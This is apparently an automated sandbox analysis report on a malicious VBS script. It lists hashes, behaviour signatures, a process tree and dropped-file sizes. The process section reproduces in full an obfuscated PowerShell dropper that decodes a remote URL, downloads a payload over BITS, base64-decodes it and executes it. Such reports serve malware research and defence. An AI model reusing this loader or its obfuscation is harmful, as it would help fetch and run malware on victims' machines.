Analysis
-
max time kernel
150s -
max time network
156s -
platform
windows7_x64 -
resource
win7-20231215-de -
resource tags
-
submitted
29/01/2024, 10:21
General
-
Target
84c8888162228ba34059eb426464aee0409f3ebb.vbs
-
Size
20KB
-
MD5
8744d9c9c6a3c95ecd62aab44c61621c
-
SHA1
84c8888162228ba34059eb426464aee0409f3ebb
-
SHA256
383b88312f29e69f7d26f64931e6c5dd9e07aa3932e691fad4ca226ad513475f
-
SHA512
68dc97980c4cec9e737482896c5c5b66d42c42bee35dedd4e3bb1d73f3143fa5e2e4a09aaa887de3d1c1aedc1fd41ef585d0bdfeb0867131921986c7721dda1f
-
SSDEEP
384:KNSBOQqQmqvXyr//EEGU+sTjT2e7Z+VRV2XzfFkucvOcTZk3q:e+zqa4L7ZoREjfvnct
Score
1/10
Malware Config
Signatures
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\84c8888162228ba34059eb426464aee0409f3ebb.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Bordher Tilbage Friskin Porcelanic #>;Function Tagkons ([String]$Subde){$skru=8;$Botulinshi=Travetur4($Subde);For($Gomeis=7; $Gomeis -lt $Botulinshi; $Gomeis+=$skru){$Travetur=$Travetur+$Subde.Substring($Gomeis, 1)};$Travetur;}function Spdessta16 ($Frodesf){. ($Travetur01) ($Frodesf);}function Travetur4 ([String]$Drpladens){$Pjaltsma1=$Drpladens.Length-1;$Pjaltsma1;}$Travetur02=Tagkons 'VrngedeTBretonsrStyrkegaAmatrisnReservesSvaghedfTheologeTysketsr HensttrGyldigeiEksistenKommandgAnnoyme ';$Unexplic195=Tagkons 'NoncorrhTallerktDanskertSvederep EncephsAlltudv:Unjeopa/Furiant/ThermolcUdlsnindSunayunnnailrod. SchadcdSlikkeri BlndersSpildevcserpentoUnprecarSlekenidSuingpaaEpoptpep InbreapIbenhol.PanickecAfstikpoWirebirmPenthio/Yaffleaa GustintBrochurtOvernobaStrudsgcMisbillhPyrenoimSundhedeMinnyovnRejserntElenchtsRmsfenz/Jointag1Sukkerr2Kdenref0Telegra1 Optage3 encirc0Fasthol1 Region3Mischar3Skeerne9Afprikk0 Kildem2Sammens4Kommuna6wamblyn5noncont4Downing4 Reklam4 Autoco0tandste/ Arabia1Superde2Collume0 Landzo1Furrowe3Enjambe0vakuumm2frerhus9Oversku8Cykelst0valetud9Tremmes5Wayfare2 Exaspe0Helpers6viasunn4Irgunis1 Append1Lopside0Flyvera/CentricOOutbrazpStudentrLycopinr FremkosnoncommlRealtereGemteged labelleDiamantrSkvulpe.ReamermfOverintlToturenaPerilob?MashmeneTantiemxovereas=Phineus6 Ervink5PatellocSjukhus9Stimula5 Granza3Zannote9Skadend5Millimo& Overedi Metodes Sputni=Duckfoo6blodpls5BymurenbBaromet6 Intercd UneffueIsometr9Shanice5Fjermel&Standarh VotablmAfdampn= Forsha6Papirti2LampstafChavish8Coenact5MamaernaenglandaInevapocMetachreKordnin3SylbladfFejlbetbBakkestc Awarepe Godfat3 Phytyl3Panthela Cutlin1AntrotyfPlicato3 Hesiom0DorsoabaUnconso4Trimere3Materun5bisttewbEjectum3Unparada Ldgrite Vocalic Therio0Tweedja1LdrekludQuinoxa2NonunanaPolycene Detach7MedarbeeSymbiot7Skindkr7Circuma6MuscicocPension4Haefter3Yaweydi7 EksegebSkiveradForbind7 Humbold medarb2 MugendeGalvano7Impelle4 Carlyd4Drmmelsf Gelati2Subtroc8Frierne1Bnderpi4WorkysebOverinve Standa3Krokuss7BundahieUigendr&Randemw ';$Travetur01=Tagkons 'Decalogifulgurae AffaldxEfterko ';$Travetur00=Tagkons 'Service$Merostog WeatinlLuggingoAnticivbBelnninaSammenslGbakkes: TowelrPScarebaj HrigtsaReaumurlPiskenetGalskabs unconvmSardineaextranu8Skrmfor Tastatu=videosi AfskyelSAdlendetSelskaba KeglebrNaturlgt Shinto-DelflgeB GassiniGoblinst Eksames ForetaT EvnernrOveroptaPhonetinBootmaks AarstafHaulagee UnvolarSuavilo Miljhe-ColonimSExaggero gallinuassocierkoekkenc NitriaePercarb Raketmo$ MidterUGustustnChesapee StoneixFireugepMenneskl SpyeriiFunktioc gymnas1khazens9Folecit5Jacksha Fjernla-StaffelDUdfrligespurtersEmulgertPlanlggi Billedn UnmottaHavannatPulverii Frstedo LithaenKnuthen Dovecot$DrillenPFollyprjUnhexwhaWoolieslEngelsktGrassilsRudevasm TiltagaEnhance2velunde ';Spdessta16 (Tagkons 'tjenstd$DenotatghidedmalArkivero ObvioubSundhedaGarlandlBjartas:UnunifiPDelatinjRoquellaNoejeinlPharmactTelefonsRespektmSprintsaOmbytni2Majidth=Baggang$Maneuvee Nonascn EmbittvRecessi:DaugaaraDeodorapSammenspNematopdHonkiefa TekstitGrundigaSamtykk ') ;Spdessta16 (Tagkons 'MeteoriISummerim LighedpUenigheoAugurourCarnifitBontokb-finerplMForsgegoLdetuvedHeedfuluDivininlRdgardiePrecool EjefaldBLaundryiNedrulntMonograsOmsaetnTBemyndirSundhedaOverextnEkatarisChristof Plsanae MislydrLateine ') ;$Pjaltsma2=$Pjaltsma2+'\Overp.Kas' ;Spdessta16 (Tagkons 'Milieuv$ MonoptgRepositl CuerpooCoenosibRaptnesabivectolfornyel:CarilloPUnconvej MinimuaLrerenalIntranstSoldates BeundrmFessepoaUdgivel7Funklet=Lftning(UntantaTAffarvneOpsendes Stemmet Landvs-VkstregP GlendaaAbiturstTongueshKamithe Dobbelt$GlatninP Testkrj MayoreaStiffenlKryolittFremhols PretermNailworaLithogr2Markprv)Stereot ') ;while (-not $Pjaltsma7) {Spdessta16 (Tagkons 'DenningIScoriacfOrganiz Shulera(Adminis$NonplusPmineralj TypenaaUdtreral FeriertInfiltrs Sisanbm SequanaSarcoma8 Gutenb.SkattekJNazisteoAgterudbNettlefSiyoflletFraternaIspindet MicromeHangerf Standa-plutarceAabenthqTyphlec Godkend$RetrospT RobotirSvitseraPlamagevOverheaeVlgermdtEntrochu trumperSuperob0Dactylo2 Misana)Kayakin Psychis{ RusineSVaabenstAsparagaTilordnrHovedlit Progra-outpeopSTidsbunlTyrkerneTuristbeStandarp Bogsta Ribbern1Unsonab}Fiskebae LandshlDokumensErgatoce Finere{VrelseaSScaffoltTentifoa FiktivrPaahldntutjsbek-LydsignS Brunonl trykbaeQuirkineHjemmeap Instit Tongane1Dannebr;AmmonitSLocarnipRedoubldMsanthoetrevrelsKradsersSkrammetCaronicaUndercl1 Delkre6Herskin Kreeren$ produkTKurveunrKnivspiaLiverpovHoptreeeDecurretRenommeuSpearprrAttempt0Istanab0Uredosp}Hawcuai ');Spdessta16 (Tagkons ' Gravid$ EstrongPjuskenl Transfo WoodenbPyromana Accessl Biogas: ImaginP egebrnjHatfielaNonequilKoloniat FiltersGeleddemPennefja Fritga7Diskend=Spildev(BlondekTLuftnineTearstasKontakttConterm-StridskPPerforca OrgasttFilosofhReperus Portent$StrandsP VirknijBinoculafianceelAcridictBruttonsSkalpejm Kohsioa nameab2Annalia)Bilsalg ') ;}Spdessta16 (Tagkons 'pinxite$Bardellg MotivelMidlandoGregersbBifaldta KnsrollTampone:SpeakettWhitesiiLokalplnwithoutgCroftsfiAnaerobtTalpidu Judcock=Snippie PatrisGanalphaeCosheretAksinja-RashlymCRoadweeoExsangunUdskrivtForbrydeSynacmynLevitattBateshy Transm$CapryloPbilledkjUnderhoaCynosurlAbandontNacresssArrangemberedska Bortka2afskriv ');Spdessta16 (Tagkons 'Nasocil$AtkinssgindoneslDeklamaoCoruscab aforeta Perforl Udrust:PurtenaLFrankeneBesmearjTapirideGavstriiRigiditnStatholdElefant Couscou=semiper Superge[OpsttelSHerofliy PolemisrhigositDanilafeRekvisimPartyfe.SkubberCSlugvoro HulninncuococavConusabefarrantrUdpakketEscobil]Versetp: Alliac:PatgiasFSinistrrCreatreoTornfugmfladhovBcampanuaVerballsCorbanreKroketk6Kurveun4 ChicquSKpcovertexpoundrLetsindiEphorifn VoldsmgGatekvi(latterl$registrtTorasskiNegerinnadventugRdarveriSkraahutOutdate)Uniform ');Spdessta16 (Tagkons ' Mirake$AdelskrgGrundval Affrelo SkrivebUnpopula Supporl Equili:NonsystTShinninrTremella UdfrsevColcotheAveragetDyrehavuInculparNervesy2hausucc Moderni= Fratra Maltend[KontorrSDracusryFiktivus LokkedtReumatieLyvendemPricklo. ForstvTblundere ChaussxToothbrtGuerill.StratouEHellerin FrserecudfrittoOleorefdudstedeiHjrnetnnlisiespgEquiang] romane:udstill:TetteroACapacitS ReaccuCstordriIReofferISkjules.SquamulGDematere FaguddtLordlikSSubtraktIntrapor Prenobi CampinnAuguriag Nonpru(Nuptial$LedsageLBevirkeeMidtbanjMisrealeTerjeskiPrenternProduktdJoyride) Behave ');Spdessta16 (Tagkons ' Vejled$SejtrukgLeadbaclMoegemooStyletsbHakkissaQueltaflPligtop:HippophTAbsolverOrthognaGenlsetvHimmelbeDriftsut AflaasuSamarberForbrug3Formand= Nephel$FavnmaaTLaconicroverintafishinevFjernbueSperonatFrapperuRamlernrYabbien2Marlies. BlretasKursuscuWhatnesbParterrsCanallat recomprForbarmiMymaridnNoisedcgNykoebi(Deleger3 Finnjo2 Asympt4demised1Surveil4Opvokse6Frsteha, Foolss2Dermato5gennemk5idiosyn4Lagerst9Kardial)Aangstr ');Spdessta16 $Travetur3;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2.9MB
-
Filesize
32KB
-
Filesize
56KB
-
Filesize
288KB
-
Filesize
512KB
-
Filesize
40KB
-
Filesize
32KB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
320KB
-
Filesize
512KB
-
Filesize
512KB
-
Filesize
512KB
-
Filesize
136KB
-
Filesize
72KB
-
Filesize
32KB
-
Filesize
9.6MB
-
Filesize
512KB
-
Filesize
512KB